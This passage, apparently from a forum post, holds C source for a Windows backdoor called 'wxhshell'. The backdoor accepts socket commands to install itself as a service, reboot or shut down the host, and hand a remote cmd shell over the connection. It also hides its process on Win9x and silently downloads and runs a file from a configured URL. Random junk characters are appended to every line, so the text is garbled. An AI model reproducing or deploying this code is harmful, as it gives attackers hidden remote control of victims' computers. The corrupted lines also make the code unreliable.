  else { )."_i64  
6x)7=_:0  
    switch(cmd[0]) { P{i\x#  
  M' e<\wqm  
  // 帮助 m.pB]yq&  
  case '?': { jB!p,fqcb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I;<0v@  
    break; B\r2M`N5  
  } J:Ea|tXK^  
  // 安装 t>N~PXr  
  case 'i': { +w[vYKSZm  
    if(Install()) 7"@^JxYN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^[,Q2MHCT(  
    else g(B&A P_e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qn(2UO!pD  
    break; 9Bvi2 3  
    } Wf/r@/ q  
  // 卸载 f_Ma~'3   
  case 'r': { V zuW]"  
    if(Uninstall()) :m]~o3KRy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f6vhW66:?x  
    else #<s6L"Z-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2 -72 8  
    break; ukpbx;O:hc  
    } [Ul"I-K  
  // 显示 wxhshell 所在路径 "s]r"(MX  
  case 'p': { T\I}s"d  
    char svExeFile[MAX_PATH]; 3)88B"E  
    strcpy(svExeFile,"\n\r"); g>-pC a  
      strcat(svExeFile,ExeFile); 3O7]~5 j1  
        send(wsh,svExeFile,strlen(svExeFile),0); pYf57u  
    break; Q)c3=.[>  
    } 3u#bx1  
  // 重启 U$v|c%6  
  case 'b': { `-W.uOZ0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SK [1h3d  
    if(Boot(REBOOT)) E-IVv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :+NZW9_  
    else { S "'0l S   
    closesocket(wsh); @&?E3?5ll  
    ExitThread(0); 6!zBLIYFI  
    } )12.W=p  
    break; i)y8MlC{  
    } g xY6M4  
  // 关机 3}dTbr4y  
  case 'd': { i0Ejo;dB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Su?e\7aj  
    if(Boot(SHUTDOWN)) [p3{d\=*?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uP, iGA  
    else { })W9=xO~  
    closesocket(wsh); <|Srbs+  
    ExitThread(0); `NYu|:JK:  
    } "@^Pb$BLY  
    break; %]7'2  
    } `ppyCUX  
  // 获取shell @W}cM  
  case 's': { Q2yD4>qy  
    CmdShell(wsh); eyW8?:  
    closesocket(wsh); &H8wYs  
    ExitThread(0); 2[~|#0x  
    break; oC ?UGY~xL  
  } \4Uhc3  
  // 退出 |j$r@  
  case 'x': { cq]JD6937  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V%h,JA  
    CloseIt(wsh); p0*qv"lA  
    break; ' ` _TFTO  
    } 4> k"$l/:  
  // 离开 /T _{k.  
  case 'q': { L$L/5/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F!7dGa$  
    closesocket(wsh); `eZzYe(N  
    WSACleanup(); Y TpiOPf  
    exit(1); QN47+)cVt"  
    break; Vu.VH([b]Q  
        } &O +?#3  
  } /tm2b<G  
  } n(I,pF  
"DaE(S&  
  // 提示信息 4Vtu g>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1lo. X_  
} Q$ +6f,m#W  
  } P:D;w2'Q  
8\WV.+  
  return; RW~!)^  
} yY[9\!  
{zX]4 1T  
// shell模块句柄 Fn>KdoByN  
int CmdShell(SOCKET sock) )<Fq}Q86  
{ 4)"S /u  
STARTUPINFO si; Zd5Jz+f  
ZeroMemory(&si,sizeof(si)); 'tTUro1~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~c,CngeL0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nuKcq!L  
PROCESS_INFORMATION ProcessInfo; Gj_7wP$  
char cmdline[]="cmd"; ^H"o=K8=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &F- \t5X=i  
  return 0; QPX&P{!g  
} y1{TVpN  
= 6Fpixq>  
// 自身启动模式 vf&_ N  
int StartFromService(void) RW{y.WhB  
{ U$yy7}g  
typedef struct IR2=dQS  
{ YMN=1Zuj?  
  DWORD ExitStatus; fj|b;8_}l  
  DWORD PebBaseAddress; =yF]#>Ah  
  DWORD AffinityMask; :V3z`}Rl  
  DWORD BasePriority; za%gD  
  ULONG UniqueProcessId; 8)lrQvZ  
  ULONG InheritedFromUniqueProcessId; apOXcZ   
}   PROCESS_BASIC_INFORMATION; :KmnwYm  
&(7=NAQsE  
PROCNTQSIP NtQueryInformationProcess; dI%?uk  
+0}z3T1L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SR$ 'JGfp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p}oGhO&=  
/4*Y#IpZ  
  HANDLE             hProcess; [rkw k\m*  
  PROCESS_BASIC_INFORMATION pbi; !4-4i  
X+1Mv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d-3.7nJ:  
  if(NULL == hInst ) return 0; /#WvC;B  
#x qiGK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]_BH"ng}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q,K$)bM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ({ O~O5k  
%pIP#y[4  
  if (!NtQueryInformationProcess) return 0; (xfh 9=.  
.TMLg(2hgv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }* \*<d 3  
  if(!hProcess) return 0; KomMzG:  
MaPOmS8?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fat;5XL@  
3eg6 CdT  
  CloseHandle(hProcess); ^T:L6:  
E!'6v DVC:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AsD$M*It  
if(hProcess==NULL) return 0; G6QD`ED  
o%bf7)~s  
HMODULE hMod; |1GOm=GNK  
char procName[255]; 6Df*wi!jI  
unsigned long cbNeeded; h@E7wp1'~  
c/Fgx/hr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;L,i">_%u[  
Xp] jF^5  
  CloseHandle(hProcess); JK`$/l|7  
u^G Y7gah  
if(strstr(procName,"services")) return 1; // 以服务启动 M^*\ $K%  
e|?eY)_  
  return 0; // 注册表启动 j]FK.G'  
} "fr{:'HX  
Uks%Mo9on  
// 主模块 h%U}Y5Ps~  
int StartWxhshell(LPSTR lpCmdLine) /IN#1I!K  
{ 5 w(nttYH  
  SOCKET wsl; HKr}"`I.  
BOOL val=TRUE; 43x2BW&&  
  int port=0; RC}m]!Uz  
  struct sockaddr_in door; w3ATsIw  
_p>F43%p  
  if(wscfg.ws_autoins) Install(); ,-hbwd~M  
n$`+03a  
port=atoi(lpCmdLine); | p!($  
:hT.L3n,  
if(port<=0) port=wscfg.ws_port; e!PB3I  
%ufh  
  WSADATA data; "={*0P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]J[d8S5  
S)g:+P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Fgi`g{N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }K8e(i6z  
  door.sin_family = AF_INET; =[8K#PZ$w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _P=+\ [|y  
  door.sin_port = htons(port); tAE(`ow/Ur  
5JhvYsf3_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HdgNy\  
closesocket(wsl); x!fG%o~h  
return 1; QyxUK}6mr  
} ]=VRct "  
*L9v(Kc  
  if(listen(wsl,2) == INVALID_SOCKET) { Gbjh|j=  
closesocket(wsl); #CPLvg#  
return 1; 7UY4* j|[C  
} 5[g\.yi2_]  
  Wxhshell(wsl); ' Ut4=@)  
  WSACleanup(); rf-yUH]&S  
}NoP(&ebz*  
return 0; hf]m'5pb  
.b+ix=:  
} i(pHJP:a:  
2,dWD<h  
// 以NT服务方式启动 T\n6^@.>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E_En"r)y  
{ 2cUT bRm  
DWORD   status = 0; /q+;!EM  
  DWORD   specificError = 0xfffffff; F@k}p-e~  
9Q^cE\j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,% Qh S5e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lyX3'0c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Vi:^bv  
  serviceStatus.dwWin32ExitCode     = 0; W^H3=hZ  
  serviceStatus.dwServiceSpecificExitCode = 0; 9sT5l"?g  
  serviceStatus.dwCheckPoint       = 0; $:%E<j 4Dn  
  serviceStatus.dwWaitHint       = 0; }04mJY[  
JLnv O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w8>h6x "  
  if (hServiceStatusHandle==0) return; ,5"(m?[m  
aUzCKX%>C  
status = GetLastError(); bq9w@O  
  if (status!=NO_ERROR) tH)j EY9  
{ }rI:pp^KS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p09p/  
    serviceStatus.dwCheckPoint       = 0; 'Gqv`rq&  
    serviceStatus.dwWaitHint       = 0; ;RJ 8h x  
    serviceStatus.dwWin32ExitCode     = status; ?*yyne  
    serviceStatus.dwServiceSpecificExitCode = specificError; n Syq}Y3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {@ vnKyf^K  
    return; V0v,s^\H  
  } 7jIBE  
A $gn{ c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8'zZVX D<  
  serviceStatus.dwCheckPoint       = 0; VK]U*V1  
  serviceStatus.dwWaitHint       = 0; UL-_z++G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;5bd<N  
} HK8sn1j  
KF00=HE|]  
// 处理NT服务事件,比如:启动、停止 xy[#LX)RW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +ZM,E8  
{ I7oA7@zv  
switch(fdwControl) ?}Zt&(#  
{ ,JE_aje7  
case SERVICE_CONTROL_STOP: Q0Ft.b  
  serviceStatus.dwWin32ExitCode = 0; X)[tb]U/Wx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3{$7tck,  
  serviceStatus.dwCheckPoint   = 0; N o6!gZ1  
  serviceStatus.dwWaitHint     = 0; d]] z )  
  { o]4\Geg$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IgG[Pr'D  
  } bsF_.S*k@  
  return; bu|.Jw"  
case SERVICE_CONTROL_PAUSE: zo( #tQ-'m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |MFAP!rycS  
  break; Sy|GM~  
case SERVICE_CONTROL_CONTINUE: C)z4Cn9#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "0PrdZMx  
  break; W~'xJ  
case SERVICE_CONTROL_INTERROGATE: )"pvF8JR%3  
  break; R~4X?@ZB  
}; Q !;syJBb.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1j$\ 48Z  
} HCs^?s8Pp  
+QU>D:l  
// 标准应用程序主函数 Sp80xV_B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (c(F1=K  
{ ZpVkgX4  
rk W7;!  
// 获取操作系统版本 >\ Dy  
OsIsNt=GetOsVer(); \;)g<TwL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k0e}`#t  
%hsCB .r>|  
  // 从命令行安装 i]%f94  
  if(strpbrk(lpCmdLine,"iI")) Install(); e~SK*vR%]  
Nnl3r@  
  // 下载执行文件 YpDJ(61+  
if(wscfg.ws_downexe) { z6iKIw $  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 25)9R^  
  WinExec(wscfg.ws_filenam,SW_HIDE); TC?B_;a  
} P9bM+@5e  
X ha9x,  
if(!OsIsNt) { T+v*@#iJ_  
// 如果时win9x,隐藏进程并且设置为注册表启动 WFOJg&  
HideProc(); HeAXZA,  
StartWxhshell(lpCmdLine); dtC@cK/,D  
} ~\_VWXXvIW  
else wQ/* f9  
  if(StartFromService()) X ."z+-eh  
  // 以服务方式启动 ?8-!hU@QC  
  StartServiceCtrlDispatcher(DispatchTable); B`B =bn+4  
else XMuZ}u[U  
  // 普通方式启动 hy*{ {f;  
  StartWxhshell(lpCmdLine); *8Z2zmZtR^  
('5?-  
return 0; bQt:=>  
}
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只看该作者 1 发表于: 2006-10-10
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